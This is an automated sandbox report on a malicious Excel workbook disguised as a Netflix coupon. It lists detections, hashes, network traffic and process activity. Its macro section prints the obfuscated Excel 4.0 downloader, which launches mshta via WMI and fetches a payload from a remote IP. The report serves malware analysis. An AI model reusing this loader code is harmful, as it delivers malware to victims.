Windows Analysis Report Netflix coupon-32822.xlsb
Overview
General Information
Detection
Score: | 100 |
Range: | 0 - 100 |
Whitelisted: | false |
Confidence: | 100% |
Signatures
Classification
Process Tree |
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Malware Configuration |
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No configs have been found |
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Yara Overview |
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Initial Sample |
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Source | Rule | Description | Author | Strings |
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JoeSecurity_XlsWithMacro4 | Yara detected Xls With Macro 4.0 | Joe Security |
Dropped Files |
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Source | Rule | Description | Author | Strings |
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JoeSecurity_DridexDownloader | Yara detected Dridex Downloader | Joe Security |
Sigma Overview |
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System Summary: |
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Sigma detected: Microsoft Office Product Spawning Windows Shell | Show sources |
Source: | Author: Michael Haag, Florian Roth, Markus Neis, Elastic, FPT.EagleEye Team: |
Sigma detected: Suspicious WMI Execution | Show sources |
Source: | Author: Michael Haag, Florian Roth, juju4, oscd.community: |
Jbx Signature Overview |
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Click to jump to signature section
AV Detection: |
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Multi AV Scanner detection for submitted file | Show sources |
Source: | ReversingLabs: |
Source: | File opened: | Jump to behavior |
Software Vulnerabilities: |
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Document exploit detected (process start blacklist hit) | Show sources |
Source: | Process created: |
Document exploit detected (UrlDownloadToFile) | Show sources |
Source: | Section loaded: | Jump to behavior |
Source: | TCP traffic: |
Source: | TCP traffic: |
Source: | IP Address: |
Source: | TCP traffic detected without corresponding DNS query: | ||
Source: | TCP traffic detected without corresponding DNS query: | ||
Source: | TCP traffic detected without corresponding DNS query: | ||
Source: | TCP traffic detected without corresponding DNS query: | ||
Source: | TCP traffic detected without corresponding DNS query: | ||
Source: | TCP traffic detected without corresponding DNS query: |
Source: | String found in binary or memory: |
Source: | String found in binary or memory: | ||
Source: | String found in binary or memory: | ||
Source: | String found in binary or memory: | ||
Source: | String found in binary or memory: | ||
Source: | String found in binary or memory: | ||
Source: | String found in binary or memory: | ||
Source: | String found in binary or memory: | ||
Source: | String found in binary or memory: | ||
Source: | String found in binary or memory: | ||
Source: | String found in binary or memory: | ||
Source: | String found in binary or memory: | ||
Source: | String found in binary or memory: | ||
Source: | String found in binary or memory: |
Source: | File created: | Jump to behavior |
Source: | Window created: | Jump to behavior |
E-Banking Fraud: |
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Yara detected Dridex Downloader | Show sources |
Source: | File source: |
System Summary: |
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Found malicious Excel 4.0 Macro | Show sources |
Source: | Macro extractor: |
Found Excel 4.0 Macro with suspicious formulas | Show sources |
Source: | Initial sample: |
Found protected and hidden Excel 4.0 Macro sheet | Show sources |
Source: | Initial sample: |
Contains functionality to create processes via WMI | Show sources |
Found obfuscated Excel 4.0 Macro | Show sources |
Source: | Macro extractor: |
Source: | Macro extractor: |
Source: | Key opened: | Jump to behavior |
Source: | ReversingLabs: |
Source: | Key opened: | Jump to behavior |
Source: | Process created: | |||
Source: | Process created: | |||
Source: | Process created: | |||
Source: | Process created: | Jump to behavior |
Source: | Key value queried: | Jump to behavior |
Source: | WMI Queries: |
Source: | Binary or memory string: |
Source: | File created: | Jump to behavior |
Source: | File created: | Jump to behavior |
Source: | Classification label: |
Source: | File read: | Jump to behavior |
Source: | Key opened: | Jump to behavior |
Source: | Window detected: |
Source: | Initial sample: | ||
Source: | Initial sample: | ||
Source: | Initial sample: |
Source: | Key opened: | Jump to behavior |
Source: | File opened: | Jump to behavior |
Persistence and Installation Behavior: |
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Creates processes via WMI | Show sources |
Source: | WMI Queries: |
Hooking and other Techniques for Hiding and Protection: |
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Creates and opens a fake document (probably a fake document to hide exploiting) | Show sources |
Source: | Process created: | Jump to behavior | ||
Source: | Process created: |
Source: | Process information set: | Jump to behavior | ||
Source: | Process information set: | Jump to behavior | ||
Source: | Process information set: | Jump to behavior | ||
Source: | Process information set: | Jump to behavior | ||
Source: | Process information set: | Jump to behavior | ||
Source: | Process information set: | Jump to behavior | ||
Source: | Process information set: | Jump to behavior | ||
Source: | Process information set: | Jump to behavior | ||
Source: | Process information set: | Jump to behavior | ||
Source: | Process information set: | Jump to behavior | ||
Source: | Process information set: | Jump to behavior | ||
Source: | Process information set: | Jump to behavior | ||
Source: | Process information set: | Jump to behavior |
Source: | Thread sleep time: | Jump to behavior | ||
Source: | Thread sleep time: | Jump to behavior |
Source: | File source: |
Source: | Binary or memory string: | ||
Source: | Binary or memory string: | ||
Source: | Binary or memory string: |
Source: | Queries volume information: | Jump to behavior | ||
Source: | Queries volume information: | Jump to behavior |
Source: | Key value queried: | Jump to behavior |
Mitre Att&ck Matrix |
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Initial Access | Execution | Persistence | Privilege Escalation | Defense Evasion | Credential Access | Discovery | Lateral Movement | Collection | Exfiltration | Command and Control | Network Effects | Remote Service Effects | Impact |
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Valid Accounts | Windows Management Instrumentation21 | Path Interception | Process Injection2 | Masquerading1 | OS Credential Dumping | Virtualization/Sandbox Evasion1 | Remote Services | Email Collection1 | Exfiltration Over Other Network Medium | Non-Standard Port1 | Eavesdrop on Insecure Network Communication | Remotely Track Device Without Authorization | Modify System Partition |
Default Accounts | Scripting4 | Boot or Logon Initialization Scripts | Boot or Logon Initialization Scripts | Virtualization/Sandbox Evasion1 | LSASS Memory | Process Discovery1 | Remote Desktop Protocol | Clipboard Data1 | Exfiltration Over Bluetooth | Ingress Tool Transfer1 | Exploit SS7 to Redirect Phone Calls/SMS | Remotely Wipe Data Without Authorization | Device Lockout |
Domain Accounts | Exploitation for Client Execution31 | Logon Script (Windows) | Logon Script (Windows) | Process Injection2 | Security Account Manager | File and Directory Discovery1 | SMB/Windows Admin Shares | Data from Network Shared Drive | Automated Exfiltration | Steganography | Exploit SS7 to Track Device Location | Obtain Device Cloud Backups | Delete Device Data |
Local Accounts | At (Windows) | Logon Script (Mac) | Logon Script (Mac) | Scripting4 | NTDS | System Information Discovery15 | Distributed Component Object Model | Input Capture | Scheduled Transfer | Protocol Impersonation | SIM Card Swap | Carrier Billing Fraud |
Behavior Graph |
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Screenshots |
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Thumbnails
This section contains all screenshots as thumbnails, including those not shown in the slideshow.
Antivirus, Machine Learning and Genetic Malware Detection |
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Initial Sample |
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Source | Detection | Scanner | Label | Link |
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6% | Virustotal | Browse | ||
18% | ReversingLabs | Script-WScript.Trojan.XBAgent |
Dropped Files |
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No Antivirus matches |
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Unpacked PE Files |
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No Antivirus matches |
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Domains |
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No Antivirus matches |
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URLs |
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Source | Detection | Scanner | Label | Link |
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0% | URL Reputation | safe | ||
0% | URL Reputation | safe | ||
0% | URL Reputation | safe | ||
0% | Avira URL Cloud | safe |
Domains and IPs |
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Contacted Domains |
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No contacted domains info |
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URLs from Memory and Binaries |
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Name | Source | Malicious | Antivirus Detection | Reputation |
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false | high | |||
false | high | |||
false | high | |||
false | high | |||
false |
| low | ||
false |
| unknown | ||
false | high | |||
false |
| unknown | ||
false | high | |||
false |
| low | ||
false | high |
Contacted IPs |
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- No. of IPs < 25%
- 25% < No. of IPs < 50%
- 50% < No. of IPs < 75%
- 75% < No. of IPs
Public |
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IP | Domain | Country | Flag | ASN | ASN Name | Malicious |
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158.140.185.205 | unknown | Indonesia | 63859 | MYREPUBLIC-AS-IDPTEkaMasRepublikID | false |
General Information |
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Joe Sandbox Version: | 34.0.0 Boulder Opal |
Analysis ID: | 528514 |
Start date: | 25.11.2021 |
Start time: | 12:19:07 |
Joe Sandbox Product: | CloudBasic |
Overall analysis duration: | 0h 4m 45s |
Hypervisor based Inspection enabled: | false |
Report type: | full |
Sample file name: | Netflix coupon-32822.xlsb |
Cookbook file name: | defaultwindowsofficecookbook.jbs |
Analysis system description: | Windows 7 x64 SP1 with Office 2010 SP1 (IE 11, FF52, Chrome 57, Adobe Reader DC 15, Flash 25.0.0.127, Java 8 Update 121, .NET 4.6.2) |
Number of analysed new started processes analysed: | 8 |
Number of new started drivers analysed: | 0 |
Number of existing processes analysed: | 0 |
Number of existing drivers analysed: | 0 |
Number of injected processes analysed: | 0 |
Technologies: |
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Analysis Mode: | default |
Analysis stop reason: | Timeout |
Detection: | MAL |
Classification: | mal100.troj.expl.evad.winXLSB@4/4@0/1 |
EGA Information: | Failed |
HDC Information: | Failed |
HCA Information: |
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Cookbook Comments: |
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Warnings: | Show All
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Simulations |
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Behavior and APIs |
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Time | Type | Description |
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12:19:36 | API Interceptor | |
12:19:36 | API Interceptor |
Joe Sandbox View / Context |
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IPs |
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Match | Associated Sample Name / URL | SHA 256 | Detection | Link | Context |
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158.140.185.205 | Get hash | malicious | Browse |
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Domains |
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No context |
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ASN |
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Match | Associated Sample Name / URL | SHA 256 | Detection | Link | Context |
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MYREPUBLIC-AS-IDPTEkaMasRepublikID | Get hash | malicious | Browse |
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Get hash | malicious | Browse |
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Get hash | malicious | Browse |
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Get hash | malicious | Browse |
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Get hash | malicious | Browse |
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Get hash | malicious | Browse |
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Get hash | malicious | Browse |
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Get hash | malicious | Browse |
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Get hash | malicious | Browse |
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JA3 Fingerprints |
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No context |
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Dropped Files |
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No context |
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Created / dropped Files |
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Process: | C:\Program Files\Microsoft Office\Office14\EXCEL.EXE |
File Type: | |
Category: | dropped |
Size (bytes): | 4574 |
Entropy (8bit): | 5.070771259953445 |
Encrypted: | false |
SSDEEP: | 48:tCidTT5p6Dfo29iSpP3tVeuFBrGBFzXcObl2cqiTvlA59D2q6A85NXSKpeGedmpa:F5p6kSpl+jzbXTjlOkAoNJp5Q |
MD5: | 44B4363899FB982B73D00D144E6C87FD |
SHA1: | 255D4330D6F738F9DF8E2914E961B9C17A0BBDA2 |
SHA-256: | 3E4A3197D5283ADCFB9D2D0A3C2AE9F6351F4986777FA74340FFD5F3CEB9CF1C |
SHA-512: | B211ABCC5FF4CC581B91B3D6D74986974FC4F3CEBD66F64418174977D3DFE9A3D970D98A3684DF627DC5EAFF7DAD52621F608CAD12068CAD605EE3A45D73BD48 |
Malicious: | true |
Yara Hits: |
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Reputation: | low |
Preview: |
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Process: | C:\Program Files\Microsoft Office\Office14\EXCEL.EXE |
File Type: | |
Category: | dropped |
Size (bytes): | 36620 |
Entropy (8bit): | 7.972183204134745 |
Encrypted: | false |
SSDEEP: | 768:8PiCou6QJOk5ipMok5ILiF5k//AoHUkADn7zUW2dWsQFVvZwDl8jKnVbl:8PqrE3gpMokPF58Ik4kosQFVvSuMz |
MD5: | 7B2878745781451C68357AB475E17FA0 |
SHA1: | 0D910014D49CEAAAA4E58EA29EBC3459842A0144 |
SHA-256: | 485328962DD448A4CF9340B2D66C696429A6B7B4AB238ABB52749BFC1CE6AE8F |
SHA-512: | CFCD9E004F6DCEB0E03F2A4FA799780343B6F329A26C3966DDC9070BB8906490453511667B7BE1738CC7C6FC0FBB5CE10ACC0A84E4EB344F1ECA7BE8C70B487B |
Malicious: | false |
Reputation: | moderate, very likely benign file |
Preview: |
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Process: | C:\Program Files\Microsoft Office\Office14\EXCEL.EXE |
File Type: | |
Category: | dropped |
Size (bytes): | 2950 |
Entropy (8bit): | 7.90023348216902 |
Encrypted: | false |
SSDEEP: | 48:nqUZws/f1eM17wQyCXoWmM7XwvIkYmR7eyUk4W2YamkW/1HQjYhI05+eniEuRmfl:n/ZT/te81y4twvjewl2V+0Yu0ouiEuUN |
MD5: | BDEF057D58F7E0F5F2DD6B22B983DFB5 |
SHA1: | C06E05C2C6FFDBBB5266E0536EE109A0D72F11AF |
SHA-256: | 0B56D5A4FF63A3B01345160479D476670D92A009EA387746F0B13724F786954E |
SHA-512: | D992AA4B1F68B401C61F29165405FD25420ED9EFF882EE4B806729447A1D3FD7C4B257A815E20CF96D3F6336741942A52AEB44462137016D5E5114E5E0A2CEE9 |
Malicious: | false |
Reputation: | low |
Preview: |
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Process: | C:\Program Files\Microsoft Office\Office14\EXCEL.EXE |
File Type: | |
Category: | dropped |
Size (bytes): | 165 |
Entropy (8bit): | 1.4377382811115937 |
Encrypted: | false |
SSDEEP: | 3:vZ/FFDJw2fV:vBFFGS |
MD5: | 797869BB881CFBCDAC2064F92B26E46F |
SHA1: | 61C1B8FBF505956A77E9A79CE74EF5E281B01F4B |
SHA-256: | D4E4008DD7DFB936F22D9EF3CC569C6F88804715EAB8101045BA1CD0B081F185 |
SHA-512: | 1B8350E1500F969107754045EB84EA9F72B53498B1DC05911D6C7E771316C632EA750FBCE8AD3A82D664E3C65CC5251D0E4A21F750911AE5DC2FC3653E49F58D |
Malicious: | true |
Reputation: | high, very likely benign file |
Preview: |
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Static File Info |
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General | |
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File type: | |
Entropy (8bit): | 7.8544446133958745 |
TrID: |
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File name: | Netflix coupon-32822.xlsb |
File size: | 76536 |
MD5: | 61f534da1002124f4352bde4e786fec3 |
SHA1: | da668a643616d9e283520b7f6604d011a0a2e8dd |
SHA256: | 4449394fb44d3169450f8041fe0d5eaf202f6b743124d7f52327773e02c65541 |
SHA512: | aee2907f7b5fd7017efe99a0e6cbb058176f34f9ca8c0ebc18079b13d0052aebb312b50cce1fc2e39e6981db4a53a08c2083272705791e40a253d2a105611e0e |
SSDEEP: | 1536:UWIPqrE3gpMokPF58Ik4kosQFVvSuMA48b27wE1oM37/BrtcgdF:VpEwFkd58IXkOFVvMY4wEF7/NtcgdF |
File Content Preview: | PK..........!...l.....W.......[Content_Types].xml ...(......................................................................................................................................................................................................... |
File Icon |
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Icon Hash: | e4e2ea8aa4b4b4b4 |
Static OLE Info |
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General | ||
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Document Type: | OpenXML | |
Number of OLE Files: | 1 |
OLE File "Netflix coupon-32822.xlsb" |
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Indicators | |
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Has Summary Info: | |
Application Name: | |
Encrypted Document: | |
Contains Word Document Stream: | |
Contains Workbook/Book Stream: | |
Contains PowerPoint Document Stream: | |
Contains Visio Document Stream: | |
Contains ObjectPool Stream: | |
Flash Objects Count: | |
Contains VBA Macros: |
Macro 4.0 Code |
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0,564,=FOPEN(CHAR(67) & ":\ProgramData\QiLuJMFt" & CHAR(107) & "BaWg." & CHAR(114) & "tf", 3) 1,564,=A4396+B189 2,564,=A1254+A5845 3,564,=A4209+D2873 4,564,=B4230+D316 5,564,=A5344+C7039 6,564,=B8565+D4384 8,564,=C8321+B420 9,564,=D806+A9189 11,564,=D7860+A6323 12,564,=C4615+B4535 14,564,=D1804+D7015 15,564,=FOR.CELL("oVJKQe",Sheet1!BX170:BX4743, TRUE) 16,564,=D6217+D3964 17,564,=D6817+A8675 18,564,=B3761+B4689 22,564,=C1799+B995 23,564,=D8866+B7718 24,564,=A3035+A1778 26,564,=A4779+D3723 28,564,=C3880+C9877 29,564,=A6451+C1375 30,564,=FWRITE(0,CHAR(oVJKQe)) 35,564,=A1076+D5213 37,564,=C2733+C8938 38,564,=B6512+A4740 39,564,=D272+A4646 40,564,=NEXT() 43,564,=C4218+C2105 44,564,=D3150+C1394 45,564,=B1308+A1267 46,564,=D8593+B9621 49,564,=D4273+A4152 51,564,=D1590+A6707 52,564,=B8511+A1475 53,564,=D5307+C5993 54,564,=B8675+A3754 55,564,=EXEC(CHAR(119) & "mi" & CHAR(99) & " pro" & CHAR(99) & CHAR(101) & CHAR(115) & "s call create" & CHAR(32) & CHAR(34) & CHAR(109) & "shta C:\P" & CHAR(114) & "ogramDa" & CHAR(116) & "a\QiL" & CHAR(117) & "JMFtk" & CHAR(66) & CHAR(97) & CHAR(87) & CHAR(103) & "" & CHAR(46) & "rt" & CHAR(102) & CHAR(34)) 56,564,=A6609+C6167 64,564,=A9364+D3686 67,564,=D51+B3790 69,564,=CALL("urlmon", "URL" & CHAR(68) & "ow" & CHAR(110) & "loadT" & CHAR(111) & "FileA","JJCCJ" & CHAR(74), 0, "http" & CHAR(58) & "//158.1" & CHAR(52) & "0.185.205:8080/Q" & CHAR(50) & "W5" & CHAR(86) & "WU" & CHAR(70) & "L5VCMQ7JQPET" & CHAR(71) & "3C" & CHAR(67) & "TYX72Z4R25PDG", "" & CHAR(67) & ":\Progra" & CHAR(109) & CHAR(68) & "ata\hXYAtm" & CHAR(65) & "" & CHAR(99) & CHAR(108) & "X." & CHAR(116) & "xt",0,0) 70,564,=A1442+D2479 71,564,=C5783+C6339 72,564,=B3316+B1082 73,564,=C9931+A1605 74,564,=C6539+B7435 75,564,=C715+C6635 78,564,=A8359+A5038 79,564,=D3366+D7576 80,564,=ALERT("Error" & CHAR(33) & " Se" & CHAR(110) & "ding report to" & CHAR(32) & "Mi" & CHAR(99) & "rosoft...") 81,564,=C9843+D9887 84,564,=A8813+A7465 90,564,=FOPEN(CHAR(67) & CHAR(58) & "\ProgramData\hXYAt" & CHAR(109) & CHAR(65) & "clX.txt",1) 91,564,=D5085+C1248 94,564,=C7032+D8191 96,564,=B2373+C5548 97,564,=B2398+B9924 100,564,=D5471+A5557 102,564,=D389+A5179 104,564,=B3437+B2549 105,564,=SEND.MAIL(EVALUATE(FREAD(US91,255))) 110,564,=D6431+A9628 111,564,=D5322+A9665 112,564,=A1986+C8835 113,564,=B3020+C5551 114,564,=C6807+B2923 117,564,=RETURN()
Network Behavior |
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Network Port Distribution |
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TCP Packets |
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Timestamp | Source Port | Dest Port | Source IP | Dest IP |
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Nov 25, 2021 12:20:15.505403996 CET | 49166 | 8080 | 192.168.2.22 | 158.140.185.205 |
Nov 25, 2021 12:20:15.685036898 CET | 8080 | 49166 | 158.140.185.205 | 192.168.2.22 |
Nov 25, 2021 12:20:16.186057091 CET | 49166 | 8080 | 192.168.2.22 | 158.140.185.205 |
Nov 25, 2021 12:20:16.365947962 CET | 8080 | 49166 | 158.140.185.205 | 192.168.2.22 |
Nov 25, 2021 12:20:16.869518042 CET | 49166 | 8080 | 192.168.2.22 | 158.140.185.205 |
Nov 25, 2021 12:20:17.053450108 CET | 8080 | 49166 | 158.140.185.205 | 192.168.2.22 |
Nov 25, 2021 12:20:17.060208082 CET | 49167 | 8080 | 192.168.2.22 | 158.140.185.205 |
Nov 25, 2021 12:20:17.237730026 CET | 8080 | 49167 | 158.140.185.205 | 192.168.2.22 |
Nov 25, 2021 12:20:17.746174097 CET | 49167 | 8080 | 192.168.2.22 | 158.140.185.205 |
Nov 25, 2021 12:20:17.923943043 CET | 8080 | 49167 | 158.140.185.205 | 192.168.2.22 |
Nov 25, 2021 12:20:18.432687998 CET | 49167 | 8080 | 192.168.2.22 | 158.140.185.205 |
Nov 25, 2021 12:20:18.611049891 CET | 8080 | 49167 | 158.140.185.205 | 192.168.2.22 |
Code Manipulations |
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Statistics |
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CPU Usage |
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Click to jump to process
Memory Usage |
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Click to jump to process
High Level Behavior Distribution |
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back
Click to dive into process behavior distribution
Behavior |
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Click to jump to process
System Behavior |
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General |
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Start time: | 12:19:13 |
Start date: | 25/11/2021 |
Path: | C:\Program Files\Microsoft Office\Office14\EXCEL.EXE |
Wow64 process (32bit): | false |
Commandline: | |
Imagebase: | 0x13fdd0000 |
File size: | 28253536 bytes |
MD5 hash: | D53B85E21886D2AF9815C377537BCAC3 |
Has elevated privileges: | true |
Has administrator privileges: | true |
Programmed in: | C, C++ or other language |
Reputation: | high |
General |
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Start time: | 12:19:35 |
Start date: | 25/11/2021 |
Path: | C:\Windows\System32\wbem\WMIC.exe |
Wow64 process (32bit): | false |
Commandline: | |
Imagebase: | 0xff110000 |
File size: | 566272 bytes |
MD5 hash: | FD902835DEAEF4091799287736F3A028 |
Has elevated privileges: | true |
Has administrator privileges: | true |
Programmed in: | C, C++ or other language |
Reputation: | moderate |
General |
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Start time: | 12:19:36 |
Start date: | 25/11/2021 |
Path: | C:\Windows\System32\mshta.exe |
Wow64 process (32bit): | false |
Commandline: | |
Imagebase: | 0x13fb20000 |
File size: | 13824 bytes |
MD5 hash: | 95828D670CFD3B16EE188168E083C3C5 |
Has elevated privileges: | true |
Has administrator privileges: | true |
Programmed in: | C, C++ or other language |
Reputation: | high |
Disassembly |
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Code Analysis |
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